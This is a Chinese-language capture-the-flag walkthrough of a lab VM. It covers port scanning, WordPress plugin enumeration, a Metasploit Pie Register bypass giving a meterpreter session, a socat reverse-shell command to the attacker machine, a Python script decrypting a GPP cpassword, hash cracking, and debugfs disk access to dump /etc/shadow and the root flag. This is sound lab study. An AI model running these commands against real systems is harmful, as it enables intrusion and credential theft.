

服务发现

```
rustscan -a 192.168.1.7 -r 1-65535
```

[illegible]

The Modern Day Port Scanner.

```
: http://discord.skerritt.blog :
```

```
: https://github.com/RustScan/RustScan :
```

Please contribute more quotes to our GitHub <https://github.com/rustscan/rustscan>

```
[~] The config file is expected to be at "/Users/kirano/.rustscan.toml"
```

```
[!] File limit is lower than default batch size. Consider u
pping with --ulimit. May cause harm to sensitive servers
```

```
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
```

Open 192.168.1.7:22

Open 192.168.1.7:80

```
[~] Starting Script(s)
```

```
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-18 1
1:58 +0800
```

```
Initiating Ping Scan at 11:58
```

Scanning 192.168.1.7 [2 ports]

Completed Ping Scan at 11:58, 0.00s elapsed (1 total hosts)

```
Initiating Connect Scan at 11:58
```

Scanning group.dsz (192.168.1.7) [2 ports]

Discovered open port 80/tcp on 192.168.1.7

Discovered open port 22/tcp on 192.168.1.7

Completed Connect Scan at 11:58, 0.00s elapsed (2 total por

```
ts)
Nmap scan report for group.dsz (192.168.1.7)
Host is up, received syn-ack (0.0030s latency).
Scanned at 2026-04-18 11:58:36 CST for 0s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
80/tcp    open  http    syn-ack

Read data files from: /opt/homebrew/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds

nmap -sV -p 22,80 192.168.1.7
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-18 11:59
+0800
Nmap scan report for group.dsz (192.168.1.7)
Host is up (0.0034s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.66

Service detection performed. Please report any incorrect re
sults at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.46 seconds
```

第一个flag

- 之前靶机的时候碰到过，重定向域名的情况，现在一上来先curl一下了。重定向域名：`group.dsz`

```
curl -i http://192.168.1.7
HTTP/1.1 301 Moved Permanently
Date: Sat, 18 Apr 2026 06:29:26 GMT
Server: Apache/2.4.66 (Unix)
Location: http://group.dsz/
```

Content-Length: 340

Content-Type: text/html; charset=iso-8859-1

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://group.dsz/">here</a>.</p>
<hr>
<address>Apache/2.4.66 (Unix) Server at 192.168.1.7 Port 80</address>
</body></html>
```

- 改一下本地域名解析: `sudo bash -c 'echo "192.168.1.7 group.dsz" >> /etc/hosts'`
- ffuf一波子域名的旁站没发现什么, 就打开页面看了一下: `open -a "/Applications/Google Chrome.app" "http://group.dsz"`, 发现是wordpress。这里查看版本号的同时验证一下:
 - 页面显示

Blog

Events

About

Shop

FAQs

Patterns

Authors

Themes

Designed with WordPress

- 指纹信息:

```
curl -i http://group.dsz -L | grep generator
% Total    % Received % Xferd  Average Speed   Time
Time      Time     Current                    Dload  Upload   Total
1    Spent      Left    Speed
100 70774    0 70774    0    0    222k    0  --:--:--
--:--:--    222k
<meta name="generator" content="WordPress 6.9.1" />
```

○ 目录结构



- 上一下wpscan对用户、主题、插件等进行一波信息收集，在扫插件的同时对用户进行了一波爆破（没爆破出什么，顺便复习了一下xmlrpc.php的利用）。

```
docker run -it --rm wpscanteam/wpscan --url http://192.168.1.7 --api-token YOUR_API_TOKEN --headers "Host: group.dsz" --no-update --enumerate u,ap --plugins-detection aggressive
```



```

  \  /\  /  | |  ____ ) | ( _ | ( _ | | | | |
  \ /  \ /  | _ |  ____ / \ _ | \ _ , _ | | |

```

WordPress Security Scanner by the WPScan Team

Version 3.8.28

Sponsored by Automattic - <https://automattic.com/>
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: <http://192.168.1.7/> [192.168.1.7]

[+] Started: Sat Apr 18 07:00:09 2026

Interesting Finding(s):

[+] Headers

| Interesting Entries:

| - Server: Apache/2.4.66 (Unix)

| - X-Powered-By: PHP/8.2.30

| Found By: Headers (Passive Detection)

| Confidence: 100%

[+] XML-RPC seems to be enabled: <http://192.168.1.7/xmlrpc.php>

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

| References:

| - http://codex.wordpress.org/XML-RPC_Pingback_API

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/

| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: <http://192.168.1.7/readme.ht>

```

ml
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.1.7/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-dos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.9.1 identified (Insecure, released on 2026-02-03).
| Found By: Meta Generator (Passive Detection)
| - http://192.168.1.7/, Match: 'WordPress 6.9.1'
| Confirmed By: Atom Generator (Aggressive Detection)
| - http://192.168.1.7/?feed=atom, <generator uri="https://wordpress.org/" version="6.9.1">WordPress</generator>

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:02 <=====
=====
=====> (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] ll104567
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

```

```
[+] Enumerating All Plugins (via Aggressive Methods)
    Checking Known Locations - Time: 00:02:39 <=====
=====>
(117132 / 117132) 100.00% Time: 00:02:39
[+] Checking Plugin Versions (via Passive and Aggressive
Methods)

[i] Plugin(s) Identified:

[+] akismet
    | Location: http://192.168.1.7/wp-content/plugins/akismet/
    | Latest Version: 5.6
    | Last Updated: 2025-11-12T16:31:00.000Z
    |
    | Found By: Known Locations (Aggressive Detection)
    |   - http://192.168.1.7/wp-content/plugins/akismet/, status: 403
    |
    | [!] 1 vulnerability identified:
    |
    | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    |   Fixed in: 3.1.5
    |   References:
    |     - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
    |     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
    |     - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    |     - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
    |
    | The version could not be determined.

[+] backup-backup
    | Location: http://192.168.1.7/wp-content/plugins/backu
```

```
p-backup/
| Last Updated: 2026-04-01T18:24:00.000Z
| Readme: http://192.168.1.7/wp-content/plugins/backup-backup/readme.txt
| [!] The version is out of date, the latest version is 2.1.4
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.1.7/wp-content/plugins/backup-backup/, status: 403
|
| [!] 10 vulnerabilities identified:
|
| [!] Title: Backup Migration < 1.3.7 - Unauthenticated Arbitrary File Download to Sensitive Information Exposure
| Fixed in: 1.3.7
| References:
| - https://wpscan.com/vulnerability/c987a54e-eb98-4942-ab67-5e0283b0f4de
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6266
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/08801f53-3c57-41a3-a637-4b52637cc612
|
| [!] Title: Backup Migration < 1.3.8 - Unauthenticated RCE
| Fixed in: 1.3.8
| References:
| - https://wpscan.com/vulnerability/6a4d0af9-e1cd-4a69-a56c-3c009e207eca
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6553
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/3511ba64-56a3-43d7-8ab8-c6e40e3b686e
|
| [!] Title: Backup Migration < 1.4.0 - Unauthenticated Path Traversal to Arbitrary File Deletion
```



```

|       Fixed in: 1.4.0
|       References:
|       - https://wpscan.com/vulnerability/0d34189d-0f9e
-4bea-a1dc-0579539bf6af
|       - https://cve.mitre.org/cgi-bin/cvename.cgi?name
=CVE-2023-6972
|       - https://www.wordfence.com/threat-intel/vulnera
bilities/id/0a3ae696-f67d-4ed2-b307-d2f36b6f188c
|
|  [[] Title: Backup Migration 1.0.8 - 1.3.9 - Remote Fi
le Inclusion via content-dir
|       Fixed in: 1.4.0
|       References:
|       - https://wpscan.com/vulnerability/9819c6d8-f805
-426f-b20b-e6a38715a273
|       - https://cve.mitre.org/cgi-bin/cvename.cgi?name
=CVE-2023-6971
|       - https://www.wordfence.com/threat-intel/vulnera
bilities/id/b380283c-0dbb-4d67-9f66-cb7c400c0427
|
|  [[] Title: Backup Migration < 1.4.0 - Authenticated
(Admin+) OS Command Injection via url
|       Fixed in: 1.4.0
|       References:
|       - https://wpscan.com/vulnerability/3e647712-def6
-4e15-ba0b-02c57c44265c
|       - https://cve.mitre.org/cgi-bin/cvename.cgi?name
=CVE-2023-7002
|       - https://www.wordfence.com/threat-intel/vulnera
bilities/id/cc49db10-988d-42bd-a9cf-9a86f4c79568
|
|  [[] Title: Backup Migration < 1.4.4 - Information Exp
osure via Log Files
|       Fixed in: 1.4.4
|       References:
|       - https://wpscan.com/vulnerability/8ccd8ce5-0c98
-46f0-81f0-d673d65ec82d
|       - https://cve.mitre.org/cgi-bin/cvename.cgi?name

```

=CVE-2024-32686

| - <https://www.wordfence.com/threat-intel/vulnerabilities/id/af870e80-ad9e-4f45-952f-9ffb07ceca9c>

| [!] Title: Backup Migration < 1.4.6.1 - Unauthenticated PHP Object Injection via 'recursive_unserialize_replace'

| Fixed in: 1.4.6.1

| References:

| - <https://wpscan.com/vulnerability/c319bdd0-dd48-4a4a-8964-7ac420c5bbdd>

| - <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10932>

=CVE-2024-10932

| - <https://www.wordfence.com/threat-intel/vulnerabilities/id/d5a0c514-5200-47f4-9d2e-684d68946b9a>

| [!] Title: Backup Migration < 2.0.0 - Unauthenticated Backup Download

| Fixed in: 2.0.0

| References:

| - <https://wpscan.com/vulnerability/e61293d0-2e1b-4dac-96c5-97fa17e38b16>

| - <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-12394>

=CVE-2025-12394

| [!] Title: Backup Migration < 2.1.0 - Missing Authorization to Unauthenticated Backup Upload to Offline Storage

| Fixed in: 2.1.0

| References:

| - <https://wpscan.com/vulnerability/3be0dc38-e8a0-4578-a1f2-cc8a89d87f78>

| - <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14944>

=CVE-2025-14944

| - <https://www.wordfence.com/threat-intel/vulnerabilities/id/a2a41a15-0743-48cc-8c92-7cb839fa5847>

| [!] Title: BackupBliss – Backup & Migration with Free

Cloud Storage < 2.1.2 - Unauthenticated Information Exposure

- | Fixed in: 2.1.2
- | References:
 - | - <https://wpscan.com/vulnerability/4d88eddd-8c1b-4b59-a577-3990861073f4>
 - | - <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39480>
 - | - <https://www.wordfence.com/threat-intel/vulnerabilities/id/0cfd7098-05c9-45c3-95eb-613894867743>
- |
- | Version: 1.3.6 (100% confidence)
- | Found By: Readme - Stable Tag (Aggressive Detection)
 - | - <http://192.168.1.7/wp-content/plugins/backup-backup/readme.txt>
- | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 - | - <http://192.168.1.7/wp-content/plugins/backup-backup/readme.txt>

[+] elex-woocommerce-google-product-feed-plugin-basic

- | Location: <http://192.168.1.7/wp-content/plugins/elx-woocommerce-google-product-feed-plugin-basic/>
- | Last Updated: 2026-02-02T05:30:00.000Z
- | Readme: <http://192.168.1.7/wp-content/plugins/elx-woocommerce-google-product-feed-plugin-basic/readme.txt>
- | [!] The version is out of date, the latest version is 1.4.5
- |
- | Found By: Known Locations (Aggressive Detection)
 - | - <http://192.168.1.7/wp-content/plugins/elx-woocommerce-google-product-feed-plugin-basic/>, status: 403
- |
- | [!] 1 vulnerability identified:
- |
- | [!] Title: ELEX WooCommerce Google Shopping (Google Product Feed) < 1.4.4 - Authenticated (Admin+) SQL Injection

```

| Fixed in: 1.4.4
| References:
|   - https://wpscan.com/vulnerability/37b139f7-ebd0-4f02-8741-0fce42c69a0b
|   - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10046
|   - https://www.wordfence.com/threat-intel/vulnerabilities/id/0afe37bb-fa8a-4e7b-93c6-c44b3fbeb904
|
| Version: 1.4.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|   - http://192.168.1.7/wp-content/plugins/elex-woocommerce-google-product-feed-plugin-basic/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
|   - http://192.168.1.7/wp-content/plugins/elex-woocommerce-google-product-feed-plugin-basic/readme.txt

[+] ollie-menu-designer
| Location: http://192.168.1.7/wp-content/plugins/ollie-menu-designer/
| Last Updated: 2026-03-13T15:03:00.000Z
| Readme: http://192.168.1.7/wp-content/plugins/ollie-menu-designer/readme.txt
| [!] The version is out of date, the latest version is 0.2.8
|
| Found By: Known Locations (Aggressive Detection)
|   - http://192.168.1.7/wp-content/plugins/ollie-menu-designer/, status: 403
|
| Version: 0.2.6 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|   - http://192.168.1.7/wp-content/plugins/ollie-menu-designer/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
|   - http://192.168.1.7/wp-content/plugins/ollie-menu-d

```

esigner/readme.txt

```
[+] pie-register
| Location: http://192.168.1.7/wp-content/plugins/pie-register/
| Last Updated: 2026-03-30T12:58:00.000Z
| Readme: http://192.168.1.7/wp-content/plugins/pie-register/readme.txt
| [!] The version is out of date, the latest version is 3.8.4.9
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.1.7/wp-content/plugins/pie-register/, status: 403
|
| [!] 8 vulnerabilities identified:
|
| [!] Title: Pie Register < 3.7.1.6 - Unauthenticated SQL Injection
| Fixed in: 3.7.1.6
| References:
| - https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24731
|
| [!] Title: Pie Register < 3.7.2.4 - Open Redirect
| Fixed in: 3.7.2.4
| Reference: https://wpscan.com/vulnerability/f6efa32f-51df-44b4-bbba-e67ed5785dd4
|
| [!] Title: Pie Register < 3.8.1.3 - Unauthenticated Arbitrary User Deletion
| Fixed in: 3.8.1.3
| References:
| - https://wpscan.com/vulnerability/a087fb45-6f6c-40ac-b48b-2cbceda86cbe
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name
```

=CVE-2022-4024

|
| [!] Title: Pie Register < 3.8.3.3 - Unauthenticated Arbitrary File Upload

| Fixed in: 3.8.3.3

| References:

| - <https://wpscan.com/vulnerability/6835b9d3-8d61-485a-aa2b-f88377156ad4>

| - <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27957>

=CVE-2024-27957

| - <https://patchstack.com/database/wordpress/plugin/pie-register/vulnerability/wordpress-pie-register-plugin-3-8-3-1-unauthenticated-arbitrary-file-upload-vulnerability>

| [!] Title: Pie Register - Basic <= 3.8.3.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation and Activation/Deactivation

| Fixed in: 3.8.3.5

| References:

| - <https://wpscan.com/vulnerability/f1b3518a-8118-465e-8baa-4dde3176dd01>

| - <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6069>

=CVE-2024-6069

| - <https://www.wordfence.com/threat-intel/vulnerabilities/id/b946ee73-4cf9-48c8-b456-285b118c6b05>

| [!] Title: Registration Forms < 3.8.4.1 - Sensitive Information Exposure via Log Files

| Fixed in: 3.8.4.1

| References:

| - <https://wpscan.com/vulnerability/a43acac7-e4cd-421a-ab6f-567e0bd7fbb6>

| - <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-13818>

=CVE-2024-13818

| - <https://www.wordfence.com/threat-intel/vulnerabilities/id/768730c1-a70e-432d-a234-4ce2b8aec424>

```
| [!] Title: Pie Register < 3.8.4.9 - Missing Authoriza
tion
|     Fixed in: 3.8.4.9
|     References:
|     - https://wpscan.com/vulnerability/d9b71c95-63a8
-4de7-8ae0-5babf2fc05a4
|     - https://cve.mitre.org/cgi-bin/cvename.cgi?name
=CVE-2026-24577
|     - https://www.wordfence.com/threat-intel/vulnera
bilities/id/c4a1b869-42d2-4b6d-8e6a-853325e2afde
|
| [!] Title: Pie Register – User Registration, Profiles
& Content Restriction < 3.8.4.9 - Missing Authorization
to Unauthenticated Registration Form Status Modification
|     Fixed in: 3.8.4.9
|     References:
|     - https://wpscan.com/vulnerability/13a1ef1e-6134
-4f70-974a-764a94f19b8f
|     - https://cve.mitre.org/cgi-bin/cvename.cgi?name
=CVE-2026-3571
|     - https://www.wordfence.com/threat-intel/vulnera
bilities/id/3137a85e-82e3-4111-ae60-1bcf1abd0c0b
|
| Version: 3.7.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|     - http://192.168.1.7/wp-content/plugins/pie-registe
r/readme.txt

[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 1
| Requests Remaining: 0

[+] Finished: Sat Apr 18 07:00:16 2026
[+] Requests Done: 52
[+] Cached Requests: 8
[+] Data Sent: 12.951 KB
[+] Data Received: 480.248 KB
```

```
[+] Memory used: 158.473 MB
[+] Elapsed time: 00:00:07
```

- 上面检测出的漏洞有很多，但是还得一个个验证。我这里直接用了msf自带的Backup Migration和Pie Register的利用，只有后者成功了

```
msf exploit(unix/webapp/wp_pie_register_bypass_rce) > options
```

```
Module options (exploit/unix/webapp/wp_pie_register_bypass_rce):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The base path to the wordpress application
USERID	1	yes	User ID to take over
VHOST		no	HTTP server virtual host

```
Payload options (php/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.1.3	yes	The listen address

(an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id	Name
--	----
0	WordPress

View the full module info with the info, or info -d command.

```
msf exploit(unix/webapp/wp_pie_register_bypass_rce) > set rhosts group.dsz
rhosts => group.dsz
msf exploit(unix/webapp/wp_pie_register_bypass_rce) > run
```

```
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Bypassing Authentication
[*] Found cookie: wordpress_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776663449%7CG5AtHzHu2xHupid9tkhexUyZ2mgKawN0TjSUGdBugjE%7C5fec5f3770410328b24abbb67ec51d70714465022eae3c55f96b9b3cb3693b4
[*] Found cookie: wordpress_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776663449%7CG5AtHzHu2xHupid9tkhexUyZ2mgKawN0TjSUGdBugjE%7C5fec5f3770410328b24abbb67ec51d70714465022eae3c55f96b9b3cb3693b4
[*] Found cookie: wordpress_logged_in_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776663449%7CG5AtHzHu2xHupid9tkhexUyZ2mgKawN0TjSUGdBugjE%7Cc6200675d34457ee084b81da834cd9c0179a1aa428986e301bfc7c92b254be33
[*] Preparing payload...
```

```

[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/QGtICONmtf/vXgwCHShKv.php...
[*] Sending stage (41224 bytes) to 192.168.1.7
[+] Deleted vXgwCHShKv.php
[+] Deleted QGtICONmtf.php
[+] Deleted ../QGtICONmtf
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.7:47406) at 2026-04-18 13:37:58 +0800

meterpreter >

```

- 后续用了socat美化了一下伪终端，也可以用 `penelope`
 - 攻击机: `socat file:`tty`,raw,echo=0 tcp-listen:5555`
 - 靶机: `./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.3:5555`
 - 需要上传的话，可以先下载: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
- 重新反弹后，先看了一下home目录，发现vick目录能直接进去。拿到了第一个flag: `flag{user-539225fb1c359bbaf8e58a9b5c6aaa5e}`

```

apache@Group:/var/www$ cd /home
apache@Group:/home$ ls
vick
apache@Group:/home$ ls -alh
total 12K
drwxr-xr-x   3 root    root    4.0K Mar  5 18:11 .
drwxr-xr-x  21 root    root    4.0K Mar  6 18:24 ..
drwxr-sr-x   2 vick    vick    4.0K Mar  5 18:30 vick
apache@Group:/home$ cd vick/
apache@Group:/home/vick$ ls
user.txt
apache@Group:/home/vick$ cat user.txt
flag{user-539225fb1c359bbaf8e58a9b5c6aaa5e}

```

第二个flag

- 在opt下发现了一个groups.xml文件，这个文件是Windows 域环境的GPP组策略文件（域渗透遇到比较多），可以用来在域内计算机上批量创建或管理本地用户账户。其中cpassword是基于aes 256加密后的密码，由于密钥固定且已在2012年公开，已经不起到保护作用了，所谓的加密只起到了编码作用。
 - 微软官方公开的密钥（二进制的十六进制表示）：
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be

```
apache@Group:/home/vick$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
vick:x:1000:1000::/home/vick:/bin/bash
apache@Group:/home/vick$ ls -alh /opt
total 12K
drwxr-xr-x  2 root    root    4.0K Mar  5 20:07 .
drwxr-xr-x 21 root    root    4.0K Mar  6 18:24 ..
-rw-r--r--  1 root    root    319 Mar  5 20:07 Groups.xml
apache@Group:/home/vick$ cat /opt/Groups.xml
<Groups xmlns:userid="http://www.microsoft.com/GroupPolicy/Settings/Users">
  <User clsid="{15171732-B1F3-4354-8D71-B07E2368305A}" name="LocalAdmin" uid="{F9706C86-6460-4447-9C9D-E0D5B6673891}">
    <Properties action="U" userName="admin" cpassword="wh/dhDkLLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A=" />
  </User>
</Groups>
```

- kali可以使用 `gpp-decrypt`，我是mac懒得再下了。python的exp

```
import base64
from Crypto.Cipher import AES

key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b'
```

```

\x09\xa4\x33\xb6\x6c\x1b'
cpassword = 'wh/dhDkLLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A
='
decoded = base64.b64decode(cpassword)
cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00'*16)
password = cipher.decrypt(decoded)
password = password[:-password[-1]].decode('utf-16le')
print(f'Password: {password}')

# Password: 1045670921

```

- 基于密码喷洒的思路，尝试ssh登陆vick，结果登陆成功： `vick:1045670921`
- 手动搜集了一下sudo、特权文件、进程、监听端口等信息，没有发现可以利用的点。上了linpeas做了一下更多的信息收集，发现了遗漏的组密码hash文件： `/etc/gshadow`

```

ls -alh /etc/gshadow
-rw-r----- 1 root vick 46 Mar 5 20:09 /
etc/gshadow
cat /etc/gshadow
disk:peDyKkCISQ5zM::root
sudo:6RXUH2N1MJ0bo::

```

- 提取出来进行des爆破得到disk组的密码

```

john --show --format=descrypt gshadow_hashes.txt
disk:19882006

```

- 由于是disk组用户，所以我们可以通过 `debugfs` 挂载原始磁盘然后操作高权限的目录，区别再于 `mount` 需要root而这个只需要disk组即可，具体过程如下，最终flag为： `flag{root-6c550ffedd08a2f1536b6d589313e241}`

```

newgrp disk

19882006: 19882006
bash: 19882006: command not found
id

```

```
uid=1000(vick) gid=6(disk) groups=1000(vick)
whoami
vick

lsblk
NAME      MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
sda         8:0    0   10G  0 disk
├─sda1       8:1    0  300M  0 part /boot
├─sda2       8:2    0   512M  0 part [SWAP]
└─sda3       8:3    0    9.2G  0 part /
sr0        11:0    1 1024M  0 rom
debugfs    /dev/sda3
debugfs 1.47.2 (1-Jan-2025)
debugfs: cat /etc/shadow
root:$6$aCuY8vPFCVTuIIx0$kGLsg2enFUUpVJLcpLWzMzyDCi7Ir9S8F17f/RQ/IVrRoWvKhjfdv62G0RjpWlq3FqOf.0Q2qJxTt2LZjdPHNJ0:
20517:0:::
bin:!::0:::
daemon:!::0:::
lp:!::0:::
sync:!::0:::
shutdown:!::0:::
halt:!::0:::
mail:!::0:::
news:!::0:::
uucp:!::0:::
cron:!::0:::
ftp:!::0:::
sshd:!::0:::
games:!::0:::
ntp:!::0:::
guest:!::0:::
nobody:!::0:::
klogd:!::20242:0:99999:7:::
nginx:!::20242:0:99999:7:::
caddy:!::20482:0:99999:7:::
lighttpd:!::20482:0:99999:7:::
apache:!::20509:0:99999:7:::
```

```
www-data:!:20509:0:99999:7:::
mysql:!:20517:0:99999:7:::
vick:$6$4UHGSs3Mjb3IXBWm$6rM1a3thx3.s05M445njRCSmIsy7lG
0.ohtDSJMfmDRPDkgBuFuRALaYgU/WU4q10CfwYhp84z6c/wmeoPwH4
1:20517:0:99999:7:::
debugfs: cat /root/root.txt
flag{root-6c550ffedd08a2f1536b6d589313e241}
debugfs:
```